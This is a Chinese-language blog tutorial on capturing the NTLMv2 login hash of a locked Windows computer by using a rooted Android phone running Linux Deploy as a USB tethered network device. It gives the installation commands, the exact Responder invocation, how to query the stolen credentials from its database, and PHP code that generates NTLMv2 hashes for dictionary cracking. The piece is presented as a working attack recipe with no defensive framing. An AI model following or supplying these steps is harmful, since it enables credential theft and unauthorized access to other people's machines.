用安卓手机获取锁屏下windows电脑的登陆密码hash

之前看了一篇将USB模拟成网卡然后获取NTLMv2 Hash的文章,原文是通过一个装有Linux系统的USB设备来实现这一攻击。其基本思路是劫持电脑的流量,使其访问SMB协议的地址,那么SMB服务器就能获取到当前的用户名和密码的NTLMv2 Hash。攻击使用了Responser这个工具,来完成流量的劫持和SMB服务器的搭建。

如果没有一个这样的USB设备就不能完成这个攻击了么?答案当然是否定的。安卓手机有一个共享网络的功能,开启这个功能即可把安卓手机模拟成一个网卡设备。在安卓(需要root权限)上chroot运行一个linux系统,执行Responser,这样就能得到同样的攻击效果。

安卓安装linux系统

使用linux depoly可很方便的安装linux系统。linux depoly依赖busybox。

安装 busybox
https://github.com/meefik/busybox/releases

安装 linux depoly
https://github.com/meefik/linuxdeploy/releases

在linux depoly中选择快的源
http://202.141.160.110/kali/
http://mirrors.163.com/ubuntu/

安装路径选择实际可用的一个路径
/storage/emulated/legacy/linux.img

然后安装即可。

安装Responder

ssh到linux系统中,安装Responder以及所需的依赖。

1
2
3
apt-get install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone https://github.com/spiderlabs/responder

root下运行Responder

1
python Responder.py -I rndis0 -f -w -r -d -F

这样USB插入锁屏Windows,开启热点共享功能,一会就能抓到用户的认证信息了。
认证信息存储在Responder产生的sqlite的数据库里,select * from responder;即可看到记录的凭据。

破解NTLMv2 Hash

根据NTLMv2 Hash的算法,来自client的challenge是无法确定的,因此无法用彩虹表的方式来破解NTLMv2 Hash。但是如果有字典的话还是可以暴力破解的。下面是一个生成NTLMv2 Hash的样例程序。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function GenerateNTLMv2($password, $account, $domain, $client_challenge, $server_challenge) {
$unicode_password= iconv ( 'UTF-8', 'UTF-16LE', $password );
$NTLM_Key = mhash ( MHASH_MD4, $unicode_password);
$NTLM_Hash = mhash ( MHASH_MD5, iconv ( 'UTF-8', 'UTF-16LE', strtoupper ( $account ) . $domain ), $NTLM_Key );
$NTLM_Chal_Hash = mhash ( MHASH_MD5, pack ( "H*", $server_challenge . $client_challenge ), $NTLM_Hash );
return strtoupper ( bin2hex ( $NTLM_Chal_Hash ) );
}
//$account::$domain:$server_challenge:$NTLMv2hash:$client_challenge

参考文献

http://witch.valdikss.org.ru/
https://room362.com/post/2016/snagging-creds-from-locked-machines/
https://github.com/samyk/poisontap

分享到 评论